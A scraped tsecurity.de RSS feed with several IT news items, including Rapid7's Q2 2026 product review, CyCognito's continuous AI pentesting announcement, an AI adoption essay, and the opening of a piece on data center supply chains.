<pubDate>Wed, 22 Jul 2026 17:34:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Here's what to pay attention to when building a home theater system.]]></content:encoded>
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<title><![CDATA[Apple Park Visitor Center exhibition space closed temporarily]]></title>
<description><![CDATA[The section of Apple Park Visitor Center that's housed its VR exhibition for almost a decade has been temporarily closed for an unspecified refurbishment.This appears to be the section that has closed: it's the store's exhibition space, shown here in 2017 when Apple added a virtual and augmented ...]]></description>
<link>https://tsecurity.de/de/3686670/ios-mac-os/apple-park-visitor-center-exhibition-space-closed-temporarily/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686670/ios-mac-os/apple-park-visitor-center-exhibition-space-closed-temporarily/</guid>
<pubDate>Wed, 22 Jul 2026 16:32:15 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The section of <a href="https://appleinsider.com/inside/apple-park" title="Apple Park" data-kpt="1">Apple Park</a> Visitor Center that's housed its VR exhibition for almost a decade has been temporarily closed for an unspecified refurbishment.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68325-144019-000-lead-Apple-Park-VR-xl.jpg" alt="This appears to be the section that has closed: it's the store's exhibition space, shown here in 2017 when Apple added a virtual and augmented reality feature." height="720"><br><span>This appears to be the section that has closed: it's the store's exhibition space, shown here in 2017 when Apple added a virtual and augmented reality feature.</span></div><br><a href="https://appleinsider.com/articles/17/09/15/video-a-sneak-peak-at-ios-11-augmented-reality-at-the-apple-park-visitor-center">Back in 2017</a>, long before the <a href="https://appleinsider.com/inside/apple-vision-pro" title="Apple Vision Pro" data-kpt="1">Apple Vision Pro</a> was announced, Apple added an augmented reality feature to its visitor center's Exhibition Space. It was a model of Apple Park, and at the time was designed to be looked at through an <a href="https://appleinsider.com/inside/ipad" title="iPad" data-kpt="1">iPad</a> which would overlay details of the real building.<br><br>Now the Exhibition Space has been closed, with Apple saying that there is an "update in progress."<br><br><br> <a href="https://appleinsider.com/articles/26/07/22/apple-park-visitor-center-shuts-its-exhibition-space-for-improvements?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245022?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]></title>
<description><![CDATA[If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity whi...]]></description>
<link>https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</guid>
<pubDate>Wed, 22 Jul 2026 16:30:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.</span></p><h2>Detection and response</h2><h3><span>Streamline investigations with bidirectional and enriched Microsoft Defender alerts</span></h3><p><span>Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and </span><a href="https://www.rapid7.com/services/managed-detection-and-response-mdr/" target="_self"><span>MDR</span></a><span> customers, enabling security teams to automatically synchronize alert status between Rapid7's </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>SIEM</span></a><span> and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.</span></p><h3><span>Confidently scale detection engineering with Detection as Code</span></h3><p><a href="https://www.rapid7.com/blog/post/dr-scaling-engineering-detection-as-code" target="_self"><span>Detection as Code</span></a><span> enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" alt="rapid7-detection-as-code-methodology.png" caption="Figure 1: Rapid7's Detection as Code methodology." height="713" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-detection-as-code-methodology.png" width="1553" max-width="1553" max-height="713" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" data-sys-asset-uid="blt5b87b1b66cb42fb0" data-sys-asset-filename="image2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Rapid7's Detection as Code methodology." data-sys-asset-alt="rapid7-detection-as-code-methodology.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Rapid7's Detection as Code methodology.</figcaption></div></figure><p></p><h3><span>Strengthen ransomware resilience with Ransomware Prevention for Incident Command</span></h3><p><span>Ransomware Prevention for </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>Incident Command</span></a><span> adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.</span></p><h2>Compliance</h2><h3>New solutions webpages</h3><p><span>Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s </span><a href="https://www.rapid7.com/platform" target="_self"><span>platform</span></a><span>, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.</span></p><ul><li><p><a href="https://www.rapid7.com/solutions/compliance/nist-csf-2" target="_self"><span>NIST CSF 2.0</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hipaa" target="_self"><span>HIPAA</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hitrust" target="_self"><span>HITRUST</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/nis2" target="_self"><span>NIS2</span></a></p></li><li><p><a href="https://www.rapid7.com/blog/post/www.rapid7.com/solutions/compliance/govramp" target="_self"><span>GovRAMP</span></a></p></li></ul><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" alt="rapid7-govramp-compliance.png" caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-govramp-compliance.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" data-sys-asset-uid="blta8db9b364598a181" data-sys-asset-filename="rapid7-govramp-compliance.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." data-sys-asset-alt="rapid7-govramp-compliance.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: Rapid7's new GovRAMP compliance solutions page.</figcaption></div></figure><h2>Exposure management</h2><h3><span>Turn prioritized exposures into remediation progress</span></h3><p><span>We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.</span></p><p><span>With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full </span><a href="https://www.rapid7.com/blog/post/em-path-from-prioritized-exposures-to-remediation-progress" target="_self"><span>blog</span></a><span> to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.</span></p><h3><span>AI pre-triage for AppSec findings</span></h3><p><span>Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for </span><a href="https://www.rapid7.com/products/insightappsec" target="_self"><span>AppSec</span></a><span> customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.</span></p><p><span>Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.</span></p><h2>Attack surface management</h2><h3><span>Open-source MCP Server and Agent Skill</span></h3><p><span>We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our </span><a href="https://www.rapid7.com/blog/post/em-bulk-export-ai-ready-security-workflows-open-source-mcp-server-agent-skill" target="_self"><span>blog</span></a><span> for more detail.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" alt="rapid7-ai-agent-skill.png" caption="Figure 3: Agent Skill for Bulk Export." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" data-sys-asset-uid="blt83035d9c7fcbfdf4" data-sys-asset-filename="rapid7-ai-agent-skill.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Agent Skill for Bulk Export." data-sys-asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Agent Skill for Bulk Export.</figcaption></div></figure><h3><span>Turn exposure filters into live dashboards</span></h3><p><a href="https://www.rapid7.com/products/command/attack-surface-management-asm/" target="_self"><span>Surface Command</span></a><span> also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.</span></p><p><span>For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this </span><a href="https://www.rapid7.com/blog/post/em-operationalizing-ctem-building-surface-command-dashboards" target="_self"><span>blog</span></a><span> to learn more. </span></p><h2>Platform and Labs</h2><h3><span>Rapid7 Command Platform</span></h3><h4><span>Cyber GRC</span></h4><p><span>Rapid7 introduced </span><a href="https://www.rapid7.com/about/press-releases/rapid7-launches-cyber-governance-risk-and-compliance-grc-early-access-program-to-unify-security-data-risk-context-and-compliance-workflows" target="_self"><span>Cyber GRC</span></a><span> to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.</span></p><p><span>Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.</span></p><h3><span>Rapid7 Labs</span></h3><h4><span>Rapid7 Quarterly Threat Landscape Report</span></h4><p><span>The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the </span><a href="https://www.rapid7.com/research/report/threat-landscape-report-2026-q1" target="_self"><span>report</span></a><span> to explore all key findings and takeaways.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" alt="rapid7-quarterly-threat-report.png" caption="Figure 4: Rapid7's quarterly threat report." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" data-sys-asset-uid="blt9eaa551742740d0a" data-sys-asset-filename="rapid7-quarterly-threat-report.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Rapid7's quarterly threat report." data-sys-asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Rapid7's quarterly threat report.</figcaption></div></figure><h3><span>The latest threat research</span></h3><p><span>Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of </span><a href="https://www.rapid7.com/blog/post/tr-criminal-ai-underground-market-operationalizing-cybercrime-2026" target="_self"><span>criminal AI-as-a-Service</span></a><span> and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an </span><a href="https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain" target="_self"><span>in-depth analysis of the Dropping Elephant malware campaign</span></a><span>, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.</span></p><h4><span>Emergent Threat Response</span></h4><p><span>This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including </span><a href="https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273" target="_self"><span>Oracle PeopleSoft</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-0265-authentication-bypass-in-palo-alto-networks-pan-os" target="_self"><span>Palo Alto Networks PAN-OS</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-critical-check-point-vpn-zero-day-exploited-in-the-wild-cve-2026-50751" target="_self"><span>Check Point VPN</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-10520-cve-2026-10523-multiple-critical-vulnerabilities-affecting-ivanti-sentry" target="_self"><span>Ivanti Sentry</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass" target="_self"><span>cPanel/WHM</span></a><span>, and </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-33032-nginx-ui-missing-mcp-authentication" target="_self"><span>Nginx UI</span></a><span>. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, </span><a href="https://www.rapid7.com/blog/tag/emergent-threat-response" target="_self"><span>here</span></a><span>.</span></p><p><span>From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.</span></p>]]></content:encoded>
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<title><![CDATA[The compound effect your AI adoption strategy is missing]]></title>
<description><![CDATA[For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.



The step from individual AI adoption ...]]></description>
<link>https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</guid>
<pubDate>Wed, 22 Jul 2026 16:23:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.</p>



<p class="wp-block-paragraph">The step from individual AI adoption to team advantage is one many organizations haven’t taken yet, but it’s the step where real ROI lives. Make the leap and every individual gain starts compounding into something the whole team feels.</p>



<h3 class="wp-block-heading">Faster individuals, but the same team pace</h3>



<p class="wp-block-paragraph">A developer with a good AI assistant can produce more and produce faster, but ten developers all doing that, each in their own way, with their own tools and their own context, don’t add up to a team that is ten times better. More often they add up to a team moving faster in ten different directions.</p>



<p class="wp-block-paragraph">The speed stays with the person who created it. The reasoning, context, and decisions that the rest of the team would need to build on that speed gets lost.</p>



<p class="wp-block-paragraph">These three structural problems explain why:</p>



<h3 class="wp-block-heading">Problem #1: Context evaporates at scale</h3>



<p class="wp-block-paragraph">An engineer spends an hour with an AI agent working through a hard design decision. They land somewhere good. The code ships. But the reasoning, the alternatives they ruled out, and the constraints they discovered stay in a chat history nobody else will ever open. Six weeks later a teammate touches the same system, has no idea any of that thinking happened, and starts over.</p>



<p class="wp-block-paragraph">You can’t prompt your way out of a context vacuum. Agents and teammates alike are only as good as the context they start with, and right now most of that context is being generated and immediately lost. The teams that pull ahead will be the ones that treat the reasoning around the work as something worth capturing.</p>



<h3 class="wp-block-heading">Problem #2: Misalignment creates duplicative work</h3>



<p class="wp-block-paragraph">When individuals move fast in parallel without a shared source of truth, they start stepping on each other’s toes. Two people solve the same problem two different ways. An agent generates a change against a spec that quietly went stale last week. A confidently written pull request follows the wrong internal standard because the standard lived in someone’s head, not in the workflow.</p>



<p class="wp-block-paragraph">This problem gets worse as more of the work becomes agent-driven. Agents overwrite each other. Specs drift out of date faster than anyone updates them. The faster the individual pieces move, the more expensive the collisions become.</p>



<h3 class="wp-block-heading">Problem #3: Trust doesn’t scale</h3>



<p class="wp-block-paragraph">The quiet tax on AI-assisted work is review. If an individual developer can’t see how a piece of work was produced, what the intent was, what the agent was told, what standards it was working against, then they can’t confidently build on it. So, they re-check it, or rewrite it, or route around it. The individual saved an hour. The team spent two earning back the trust.</p>



<p class="wp-block-paragraph">Trust transfers when intent is legible. When a teammate or a reviewer can see what was meant, what was decided, and what guardrails applied, they can accept the work and move on. When they can’t, every handoff becomes a re-litigation.</p>



<h3 class="wp-block-heading">Turning adoption into advantage</h3>



<p class="wp-block-paragraph">The through-line across all three problems is the same. The value of AI at the team level does not live in the code any single person or agent produces. It lives in whether the intent and context around that work is captured, shared, and reusable by everyone else, human and agent.</p>



<p class="wp-block-paragraph">That reframes the leadership job. It’s not about driving more adoption, because your teams already handled that. It’s about building the connective layer that turns individual output into team capability.</p>



<h3 class="wp-block-heading">The window is now</h3>



<p class="wp-block-paragraph">This matters more every month, because the individual productivity story is about to become an agent orchestration story. The organizations that turn individual adoption into team advantage now, while the habits are still forming, will be the ones whose agents actually compound.</p>



<p class="wp-block-paragraph">See how engineering leaders are building the connective layer between individual AI adoption and team-level compound returns at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-1" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Bluehost promises its new AI agents will deliver "a site or store that runs itself"]]></title>
<description><![CDATA[“AI shouldn’t stop at building a website,” says Bluehost CEO Sachin Puri]]></description>
<link>https://tsecurity.de/de/3686593/it-nachrichten/bluehost-promises-its-new-ai-agents-will-deliver-a-site-or-store-that-runs-itself/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686593/it-nachrichten/bluehost-promises-its-new-ai-agents-will-deliver-a-site-or-store-that-runs-itself/</guid>
<pubDate>Wed, 22 Jul 2026 16:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[“AI shouldn’t stop at building a website,” says Bluehost CEO Sachin Puri]]></content:encoded>
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<title><![CDATA[CyCognito Brings Always-On AI Pentesting to External Attack Surface Management]]></title>
<description><![CDATA[CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesti...]]></description>
<link>https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/</guid>
<pubDate>Wed, 22 Jul 2026 15:14:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesting as a continuous service, circumventing the cost and coverage constraints that confine comparable solutions to periodic, narrowly scoped engagements.</p>



<p class="wp-block-paragraph">With this new solution, CyCognito addresses a major shift in the security ecosystem, driven by the latest advances in AI. Today’s models, with more advanced ones on the way, have lowered the bar for attackers. An attack campaign that once required a group of skilled threat actors can now be carried out by a low-skilled individual, in a fraction of the time and at relatively low cost. This signals a tectonic shift that compels defenders to adopt the same technology to keep pace and close the security gaps in their own environment.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/image.jpeg?quality=50&amp;strip=all" alt="" class="wp-image-4199553" width="800" height="502" sizes="auto, (max-width: 800px) 100vw, 800px"></figure></div>



<p class="wp-block-paragraph">Continuous AI Pentesting: Solution architecture, at a glance.</p>



<p class="wp-block-paragraph">“AI pentesting is rapidly becoming part of every security team’s toolkit, and a lot of it is already being done in-house,” said Rob Gurzeev, CEO and co-founder of CyCognito. “But running offensive AI isn’t the hard part. The challenge is scale. AI pentesting today is typically limited to the top 1% of priority assets. Meanwhile, the other 99% is where a lot of attacks actually start, where adversaries find the low-hanging fruit and use it as a foothold for lateral movement.”</p>



<p class="wp-block-paragraph">To provide AI pentesting coverage across that overlooked 99%, CyCognito built a distinct architecture that centers on the Target Graph, a contextual graph that bridges the AI pentesting solution and CyCognito’s three core modules:</p>



<ul class="wp-block-list">
<li><strong>Exposure Assessment</strong> maps the external footprint, attributes every asset to the right part of the organization, and enriches it with business and stack context.</li>



<li><strong>Exposure Validation</strong> runs more than 100,000 deterministic tests continuously, freeing the AI pentesters to focus on high-judgment work.</li>



<li><strong>Threat Intelligence</strong> draws on the history of existing and emerging vulnerabilities, along with attacker playbooks and statistical models trained on past engagements, to anticipate attacker activity.</li>
</ul>



<p class="wp-block-paragraph">Together, these layers increase the effectiveness of the pentesting agents, equipping them with the rich context and exploitability evidence, dramatically improving the efficiency of every run.</p>



<p class="wp-block-paragraph">The architecture is also built to be constantly self-evolving. Every new risk scenario AI pentesters uncover can be hardcoded into the Exposure Validation module, joining the deterministic tests it already runs. This frees the AI agents to pursue new threats, and also consolidates learnings from agentic tests in a way that will benefit every CyCognito customer.</p>



<p class="wp-block-paragraph">In the announcement for this new feature, the company also shared some of the vulnerabilities:</p>



<ul class="wp-block-list">
<li><strong>Unauthenticated access to a production CRM:</strong> an exposed MCP server allowed anonymous, natural-language queries against three million rows of account, opportunity, and financial data, with no credentials required.</li>



<li><strong>A publicly readable RAG index:</strong> an AI agent stack enforced authentication only on its API, leaving the knowledge base behind it, which held customer data, contracts, and internal communications, open to anyone on the internet.</li>



<li><strong>A building’s access controls exposed to the internet:</strong> a system running door locks, card readers, and CCTV sat unsegmented on the public internet alongside the organization’s AI document tools and chatbot, leaving physical entry reachable by a remote attacker.</li>
</ul>



<p class="wp-block-paragraph">These examples are just some of the risk scenarios identified through the work on this new capability, now running with select design partners, including major enterprises and Fortune 500 companies. Internally, CyCognito refers to the project as Project Kineto, after the Kinetograph, the first motion picture camera.</p>



<p class="wp-block-paragraph">“The name echoes our vision for what AI pentesting should be,” said Gurzeev. “Security testing has always been a snapshot. AI lets us turn it into continuous motion: an always-on stream of change-aware tests that runs across your entire attack surface at machine speed, with the skill of a seasoned security expert.”</p>



<p class="wp-block-paragraph">To go deeper on Continuous AI Pentesting, read the full announcement post: <a href="https://www.cycognito.com/blog/new-continuous-ai-pentesting/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com/blog/new-continuous-ai-pentesting/</a></p>



<h3 class="wp-block-heading">About CyCognito</h3>



<p class="wp-block-paragraph">CyCognito is an external exposure management platform that reduces risk by discovering, testing and prioritizing security issues. </p>



<p class="wp-block-paragraph">The platform scans billions of websites, cloud applications and APIs and uses advanced AI to identify the most critical risks and guide remediation. Emerging companies, government agencies and Fortune 500 organizations rely on CyCognito to secure and protect from growing threats. For more information, visit <a href="https://www.cycognito.com/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com</a>.</p>



<h5 class="wp-block-heading">Contact</h5>



<p class="wp-block-paragraph"><strong>VP Marketing</strong></p>



<p class="wp-block-paragraph"><strong>Igal Zeifman</strong></p>



<p class="wp-block-paragraph"><strong>CyCognito</strong></p>



<p class="wp-block-paragraph"><strong>igal.zeifman@cycognito.com</strong></p>
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<title><![CDATA[Passionfroot raises $15M to expand its B2B creator marketplace to the US]]></title>
<description><![CDATA[Passionfroot, a German startup building a marketplace connecting B2B creators with brands, has raised $15M in a Series A round led by Insight Partners.]]></description>
<link>https://tsecurity.de/de/3686384/it-nachrichten/passionfroot-raises-15m-to-expand-its-b2b-creator-marketplace-to-the-us/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686384/it-nachrichten/passionfroot-raises-15m-to-expand-its-b2b-creator-marketplace-to-the-us/</guid>
<pubDate>Wed, 22 Jul 2026 15:05:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Passionfroot, a German startup building a marketplace connecting B2B creators with brands, has raised $15M in a Series A round led by Insight Partners.]]></content:encoded>
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<title><![CDATA[The $3 trillion assembly line: Why CIOs must industrialize the data center supply chain]]></title>
<description><![CDATA[You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage ...]]></description>
<link>https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</guid>
<pubDate>Wed, 22 Jul 2026 14:04:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage of online presence, and now omniscient AI, the demand for data centers has increased manyfold, and the trend seems similar to the year 2000, when telephone towers were built to accommodate increased digital presence.</p>



<p class="wp-block-paragraph">To win the AI race, Hyperscalers (Google, Meta, Amazon, Microsoft, Alibaba, Oracle, IBM, Tencent) are spending huge amounts of money on data center development. In the USA, the hyperscalers are planning to spend <a href="https://finance.yahoo.com/news/big-tech-set-to-spend-650-billion-in-2026-as-ai-investments-soar-163907630.html">$650 billion in 2026, which is around 70% higher than 2025 spending</a>, according to Yahoo Finance.</p>



<p class="wp-block-paragraph">As per McKinsey research, by 2030, companies will invest around $7 trillion in Capex on data center infrastructure globally. More than $4 trillion will go towards computing hardware investment. More than 40% of this spending will be invested in the United States.</p>



<h2 class="wp-block-heading">Demand growth in data centers</h2>



<p class="wp-block-paragraph">McKinsey analysis shows that global demand for data center capacity can more than triple by 2030, with a compound annual growth rate (CAGR) of around 22 per cent. In the USA, data center demand could grow by 20-25 per cent at the same time.  </p>



<p class="wp-block-paragraph">The data center industry is currently undergoing a violent transition. We are moving away from the era of “bespoke projects” — where every facility was a unique architectural feat — into an era of industrialized infrastructure. With global capital expenditure in the sector projected to hit $3 trillion by 2028, the “bottleneck” has shifted. It is no longer about securing the capital; it is about the physics of the supply chain.</p>



<p class="wp-block-paragraph">During my tenure at Vantage, managing the intersection of data center construction management (DCCM) and infrastructure management (DCIM), I saw firsthand that the most successful players aren’t those with the deepest pockets, but those with the most integrated data threads. If your construction data in Procore doesn’t talk to your financial reality in Yardi, or your operational capacity in DCIM, you aren’t building a data center — you’re managing a $500 million blind spot.</p>



<h2 class="wp-block-heading">The death of “sticks and bricks”</h2>



<p class="wp-block-paragraph">Traditionally, data center construction was treated as civil engineering. But for the modern CIO, a data center is a complex product assembly.</p>



